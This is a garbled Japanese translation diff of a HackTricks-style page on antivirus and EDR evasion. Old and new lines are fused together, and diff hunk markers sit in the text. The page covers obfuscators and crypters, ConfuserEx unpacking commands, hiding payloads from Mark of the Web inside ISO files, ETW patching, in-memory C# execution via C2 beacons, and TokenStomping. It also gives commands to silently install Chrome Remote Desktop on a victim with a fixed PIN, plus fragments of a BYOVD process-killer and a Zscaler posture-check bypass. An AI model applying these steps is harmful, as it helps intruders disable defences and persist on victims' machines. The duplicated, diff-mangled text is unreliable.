- [**obfy**](https://github.com/fritzone/obfy): C++ テンプレートメタプログラミングフレームワークによって生成された難読化された操作のレイヤーを追加し、アプリケーションをクラッキングしようとする人の生活を少し難しくします。 # https://github.com/wwh1004/AntiTamperKiller
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz は、.exe、.dll、.sys など、さまざまな異なる pe ファイルを難読化できる x64 バイナリ難読化ツールです。 python AntiTamperKiller.py Confused.exe Confused.clean.exe
```
出力には、独自のアンパッカーを構築する際に役立つ可能性のある 6 つのアンチタムパラメータ(`key0-key3``nameHash``internKey`)が含まれています。
2. シンボル / 制御フローの回復 *クリーン*ファイルを **de4dot-cex**ConfuserEx 対応の de4dot フォーク)に渡します。
```bash
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
```
フラグ:
`-p crx` ConfuserEx 2 プロファイルを選択
• de4dot は制御フローのフラット化を元に戻し、元の名前空間、クラス、変数名を復元し、定数文字列を復号化します。
3. プロキシコールの除去 ConfuserEx は直接メソッド呼び出しを軽量ラッパー(別名*プロキシコール*)に置き換えて、デコンパイルをさらに妨げます。**ProxyCall-Remover**を使用してそれらを削除します:
```bash
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
```
このステップの後、`Convert.FromBase64String``AES.Create()` などの通常の .NET API が観察されるはずです(不透明なラッパー関数(`Class8.smethod_10` など)ではなく)。
4. 手動クリーンアップ 結果のバイナリを dnSpy で実行し、大きな Base64 ブロブや `RijndaelManaged` / `TripleDESCryptoServiceProvider` の使用を検索して*本当の*ペイロードを特定します。多くの場合、マルウェアはそれを `<Module>.byte_0` 内で初期化された TLV エンコードされたバイト配列として保存します。
上記のチェーンは、悪意のあるサンプルを実行することなく実行フローを復元します オフラインワークステーションで作業する際に便利です。
> 🛈 ConfuserEx は `ConfusedByAttribute` というカスタム属性を生成し、これは IOC として使用してサンプルを自動的にトリアージすることができます。
#### One-liner
```bash
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
```
---
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# オブファスケーター**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/) コンパイルスイートのオープンソースフォークを提供し、[コードオブファスケーション](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator は、`C++11/14` 言語を使用して、外部ツールを使用せず、コンパイラを変更することなく、コンパイル時にオブファスケートされたコードを生成する方法を示しています。
- [**obfy**](https://github.com/fritzone/obfy): C++ テンプレートメタプログラミングフレームワークによって生成されたオブファスケートされた操作のレイヤーを追加し、アプリケーションをクラッキングしようとする人の生活を少し難しくします。
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz は、.exe、.dll、.sys などのさまざまな pe ファイルをオブファスケートできる x64 バイナリオブファスケーターです。
- [**metame**](https://github.com/a0rtega/metame): Metame は、任意の実行可能ファイル用のシンプルなメタモルフィックコードエンジンです。 - [**metame**](https://github.com/a0rtega/metame): Metame は、任意の実行可能ファイル用のシンプルなメタモルフィックコードエンジンです。
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator は、ROPリターン指向プログラミングを使用して LLVM 対応言語のための細粒度のコード難読化フレームワークです。ROPfuscator は、通常の制御フローの概念を妨害するために、通常の命令を ROP チェーンに変換することによって、アセンブリコードレベルでプログラムを難読化します。 - [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator は、ROPリターン指向プログラミングを使用して LLVM 対応言語のための細粒度のコードオブファスケーションフレームワークです。ROPfuscator は、通常の命令を ROP チェーンに変換することによって、アセンブリコードレベルでプログラムをオブファスケートし、通常の制御フローの自然な概念を妨げます。
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt は、Nim で書かれた .NET PE Crypter です。 - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt は、Nim で書かれた .NET PE Crypter です。
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor は、既存の EXE/DLL をシェルコードに変換し、それをロードすることができます。 - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor は、既存の EXE/DLL をシェルコードに変換し、それをロードすることができます。
@ -249,14 +285,14 @@ Microsoft Defender SmartScreen は、潜在的に悪意のあるアプリケー
SmartScreen は主に評判ベースのアプローチで機能し、一般的でないダウンロードアプリケーションが SmartScreen をトリガーし、エンドユーザーがファイルを実行するのを警告し防止します(ただし、ファイルは「詳細情報」->「それでも実行」をクリックすることで実行できます)。 SmartScreen は主に評判ベースのアプローチで機能し、一般的でないダウンロードアプリケーションが SmartScreen をトリガーし、エンドユーザーがファイルを実行するのを警告し防止します(ただし、ファイルは「詳細情報」->「それでも実行」をクリックすることで実行できます)。
**MoTW**Mark of The Webは、インターネットからファイルをダウンロードする自動的に作成される[NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) で、Zone.Identifier という名前が付けられ、ダウンロード元の URL とともに作成されます。 **MoTW**Mark of The Webは、インターネットからファイルをダウンロードする際に自動的に作成される[NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) で、Zone.Identifier という名前が付けられ、ダウンロード元の URL とに作成されます。
<figure><img src="../images/image (237).png" alt=""><figcaption><p>インターネットからダウンロードしたファイルの Zone.Identifier ADS を確認しています。</p></figcaption></figure> <figure><img src="../images/image (237).png" alt=""><figcaption><p>インターネットからダウンロードしたファイルの Zone.Identifier ADS を確認しています。</p></figcaption></figure>
> [!TIP] > [!TIP]
> **信頼された**署名証明書で署名された実行可能ファイルは、**SmartScreen をトリガーしない**ことに注意することが重要です。 > **信頼された**署名証明書で署名された実行可能ファイルは、**SmartScreen をトリガーしない**ことに注意することが重要です。
ペイロードが Mark of The Web を取得するのを防ぐ非常に効果的な方法は、それらを ISO のようなコンテナにパッケージ化することです。これは、Mark-of-the-Web (MOTW) **** **非 NTFS** ボリュームに適用できないためです。 ペイロードが Mark of The Web を取得するのを防ぐ非常に効果的な方法は、ISO のようなコンテナにパッケージ化することです。これは、Mark-of-the-Web (MOTW) が **非 NTFS** ボリュームに適用できないためです。
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
@ -284,15 +320,15 @@ Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso [+] Generated file written to (size: 3420160): container.iso
``` ```
スマートスクリーンをバイパスするデモで、ペイロードをISOファイル内にパッケージ化する方法を示します。[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)を使用しています。 ここでは、[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)を使用してペイロードをISOファイル内にパッケージ化することでSmartScreenをバイパスするデモを示します。
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure> <figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## ETW ## ETW
WindowsのイベントトレーシングETWは、アプリケーションやシステムコンポーネントが**イベントをログ**するための強力なロギングメカニズムです。しかし、セキュリティ製品が悪意のある活動を監視および検出するためにも使用される可能性があります。 WindowsのイベントトレーETWは、アプリケーションやシステムコンポーネントが**イベントをログ**することを可能にする強力なログメカニズムです。しかし、セキュリティ製品が悪意のある活動を監視し検出するためにも使用される可能性があります。
AMSIが無効化バイパスされるのと同様に、ユーザースペースプロセスの**`EtwEventWrite`**関数を即座に戻すことも可能で、イベントをログしないようにできます。これは、メモリ内の関数をパッチして即座に戻すことで行われ、プロセスのETWロギングを実質的に無効にします。 AMSIが無効化バイパスされるのと同様に、ユーザースペースプロセスの**`EtwEventWrite`**関数を即座に戻すことも可能で、イベントをログに記録しないようにできます。これは、メモリ内の関数をパッチして即座に戻すことで行われ、実質的にそのプロセスのETWログを無効にします。
詳細については、**[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) および [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**を参照してください。 詳細については、**[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) および [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**を参照してください。
@ -302,38 +338,38 @@ C#バイナリをメモリにロードすることはかなり前から知られ
ペイロードはディスクに触れずに直接メモリにロードされるため、プロセス全体のAMSIをパッチすることだけを心配すればよいです。 ペイロードはディスクに触れずに直接メモリにロードされるため、プロセス全体のAMSIをパッチすることだけを心配すればよいです。
ほとんどのC2フレームワークsliver、Covenant、metasploit、CobaltStrike、Havocなどは、すでにC#アセンブリをメモリ内で直接実行する機能を提供していますが異なる方法があります: ほとんどのC2フレームワークsliver、Covenant、metasploit、CobaltStrike、Havocなどは、すでにC#アセンブリをメモリ内で直接実行する機能を提供していますがいくつかの方法があります:
- **Fork&Run** - **Fork&Run**
これは**新しい犠牲プロセスを生成し**、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォークと実行の方法の利点は、実行が**私たちのビーコンインプラントプロセスの外部**で行われることです。これは、ポストエクスプロイトアクションで何かがうまくいかない場合や捕まった場合、**私たちのインプラントが生き残る可能性がはるかに高**ことを意味します。欠点は、**行動検出**によって捕まる可能性が**高くなる**ことです。 これは**新しい犠牲プロセスを生成し**、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォークと実行の方法の利点は、実行が**私たちのビーコンインプラントプロセスの外部**で行われることです。これは、ポストエクスプロイトアクションで何かがうまくいかない場合や捕まった場合、**インプラントが生き残る可能性がはるかに高くなる**ことを意味します。欠点は、**行動検出**によって捕まる可能性が**高くなる**ことです。
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **インライン** - **インライン**
これは、ポストエクスプロイトの悪意のあるコードを**自分のプロセスに注入する**ことです。この方法では、新しいプロセスを作成してAVによってスキャンされるのを避けることができますが、欠点は、ペイロードの実行に何か問題が発生した場合、**ビーコンを失う可能性がはるかに高くなる**ことです。 これは、ポストエクスプロイトの悪意のあるコードを**自分のプロセスに注入する**ことです。この方法では、新しいプロセスを作成してAVによるスキャンを受ける必要がなくなりますが、欠点は、ペイロードの実行に何か問題が発生した場合、**ビーコンを失う可能性がはるかに高くなる**ことです。
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!TIP] > [!TIP]
> C#アセンブリのロードについてもっと知りたい場合は、この記事[https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/)とそのInlineExecute-Assembly BOFをチェックしてください[https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly) > C#アセンブリのロードについてもっと知りたい場合は、この記事[https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/)とそのInlineExecute-Assembly BOFをチェックしてください[https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))。
C#アセンブリを**PowerShellからロード**することもできます。 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)と[S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk)を確認してください。 また、C#アセンブリを**PowerShellからロードする**こともできます。 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)と[S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk)を確認してください。
## 他のプログラミング言語の使用 ## 他のプログラミング言語の使用
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)で提案されているように、妥協されたマシンに**攻撃者が制御するSMB共有にインストールされたインタプリタ環境へのアクセスを与える**ことで、他の言語を使用して悪意のあるコードを実行することが可能です。 [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)で提案されているように、妥協されたマシンに**攻撃者が制御するSMB共有にインストールされたインタプリタ環境へのアクセスを与える**ことで、他の言語を使用して悪意のあるコードを実行することが可能です。
インタプリタバイナリとSMB共有上の環境へのアクセスを許可することで、妥協されたマシンの**メモリ内でこれらの言語の任意のコードを実行**できます。 インタプリタバイナリとSMB共有上の環境へのアクセスを許可することで、妥協されたマシンの**メモリ内でこれらの言語の任意のコードを実行する**ことができます。
リポジトリは次のように示していますDefenderはスクリプトをスキャンし続けますが、Go、Java、PHPなどを利用することで、**静的シグネチャをバイパスする柔軟性が高まります**。これらの言語でランダムな非難読化リバースシェルスクリプトをテストした結果、成功が確認されています。 リポジトリは次のように示していますDefenderはスクリプトをスキャンし続けますが、Go、Java、PHPなどを利用することで、**静的シグネチャをバイパスする柔軟性が増します**。これらの言語でランダムな非難読化リバースシェルスクリプトをテストした結果、成功が確認されています。
## トークンスタンピング ## TokenStomping
トークンスンピングは、攻撃者が**アクセス トークンやEDRやAVのようなセキュリティ製品を操作**し、プロセスが終了しないように権限を減少させることを可能にする技術です。 トークンスンピングは、攻撃者が**アクセス トークンやEDRやAVのようなセキュリティ製品を操作する**ことを可能にする技術で、プロセスが終了しないように権限を減少させることができますが、悪意のある活動をチェックする権限は持たなくなります。
これを防ぐために、Windowsは**外部プロセスがセキュリティプロセスのトークンにハンドルを取得するを防ぐ**ことができます。 これを防ぐために、Windowsは**外部プロセスがセキュリティプロセスのトークンにハンドルを取得することを防ぐ**ことができます。
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/) - [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) - [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
@ -347,15 +383,15 @@ C#アセンブリを**PowerShellからロード**することもできます。
1. https://remotedesktop.google.com/からダウンロードし、「SSH経由で設定」をクリックし、次にWindows用のMSIファイルをクリックしてMSIファイルをダウンロードします。 1. https://remotedesktop.google.com/からダウンロードし、「SSH経由で設定」をクリックし、次にWindows用のMSIファイルをクリックしてMSIファイルをダウンロードします。
2. 被害者のPCでインストーラーをサイレントで実行します管理者権限が必要`msiexec /i chromeremotedesktophost.msi /qn` 2. 被害者のPCでインストーラーをサイレントで実行します管理者権限が必要`msiexec /i chromeremotedesktophost.msi /qn`
3. Chromeリモートデスクトップのページに戻り、次へ進みます。ウィザードが認証を求めてきますので、続行するには「承認」ボタンをクリックします。 3. Chromeリモートデスクトップのページに戻り、次へ進みます。ウィザードが認証を求めてきますので、続行するには「承認」ボタンをクリックします。
4. 指定されたパラメータをいくつかの調整を加えて実行します:`"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111`GUIを使用せずにPINを設定できるpinパラメータに注意してください 4. 指定されたパラメータをいくつかの調整を加えて実行します:`"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111`GUIを使用せずにピンを設定できるpinパラメータに注意してください
## 高度な回避 ## 高度な回避
回避は非常に複雑なトピックであり、時には1つのシステム内の多くの異なるテレメトリソースを考慮する必要があるため、成熟した環境では完全に検出されない状態を維持することはほぼ不可能です。 回避は非常に複雑なトピックであり、時には1つのシステム内の多くの異なるテレメトリソースを考慮する必要があるため、成熟した環境では完全に検出されない状態を維持することはほぼ不可能です。
対抗する環境にはそれぞれ独自の強みと弱みがあります。 対抗する環境はそれぞれ独自の強みと弱みを持っています。
[@ATTL4S](https://twitter.com/DaniLJ94)のこのトークを視聴することを強くお勧めします。より高度な回避技術についての足がかりを得るためです。 [@ATTL4S](https://twitter.com/DaniLJ94)のこのトークをぜひご覧ください。より高度な回避技術についての足がかりを得ることができます。
{{#ref}} {{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
@ -619,10 +655,10 @@ CloseHandle(hDrv);
return 0; return 0;
} }
``` ```
4. **なぜ機能するのか**: BYOVDはユーザーモードの保護を完全にスキップします。カーネル内で実行されるコードは*保護された*プロセスを開いたり、それを終了させたり、PPL/PP、ELAMまたは他のハードニング機能に関係なくカーネルオブジェクトを改ざんすることができます。 4. **なぜ機能するのか**: BYOVDはユーザーモードの保護を完全にスキップします。カーネル内で実行されるコードは*保護された*プロセスを開いたり、それを終了させたり、PPL/PP、ELAMまたは他のハードニング機能に関係なくカーネルオブジェクトを改ざんすることができます。
検出 / 緩和 検出 / 緩和
• Microsoftの脆弱ドライバブロックリスト`HVCI`, `Smart App Control`を有効にして、Windowsが`AToolsKrnl64.sys`をロードしないようにします。 • Microsoftの脆弱ドライバブロックリスト`HVCI`, `Smart App Control`を有効にして、Windowsが`AToolsKrnl64.sys`のロードを拒否するようにします。
• 新しい*カーネル*サービスの作成を監視し、ドライバが世界書き込み可能なディレクトリからロードされた場合や許可リストに存在しない場合に警告します。 • 新しい*カーネル*サービスの作成を監視し、ドライバが世界書き込み可能なディレクトリからロードされた場合や許可リストに存在しない場合に警告します。
• カスタムデバイスオブジェクトへのユーザーモードハンドルを監視し、その後に疑わしい`DeviceIoControl`呼び出しが続くのを見守ります。 • カスタムデバイスオブジェクトへのユーザーモードハンドルを監視し、その後に疑わしい`DeviceIoControl`呼び出しが続くのを見守ります。
@ -656,9 +692,9 @@ else:
f.seek(off) f.seek(off)
f.write(replacement) f.write(replacement)
``` ```
オリジナルファイルを置き換え、サービススタックを再起動した後: 元のファイルを置き換え、サービススタックを再起動した後:
* **すべての** ポスチャーチェックが **緑/準拠** と表示されます。 * **すべての** ポスチャーチェックが **緑/準拠** を表示します。
* 署名されていないまたは変更されたバイナリが、名前付きパイプRPCエンドポイント `\\RPC Control\\ZSATrayManager_talk_to_me`)を開くことができます。 * 署名されていないまたは変更されたバイナリが、名前付きパイプRPCエンドポイント `\\RPC Control\\ZSATrayManager_talk_to_me`)を開くことができます。
* 侵害されたホストは、Zscalerポリシーによって定義された内部ネットワークへの無制限のアクセスを得ます。 * 侵害されたホストは、Zscalerポリシーによって定義された内部ネットワークへの無制限のアクセスを得ます。
@ -666,7 +702,8 @@ f.write(replacement)
## 参考文献 ## 参考文献
- [Unit42 New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html) - [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
- [Check Point Research Before ToolShell: Exploring Storm-2603s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/) - [Check Point Research Before ToolShell: Exploring Storm-2603s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}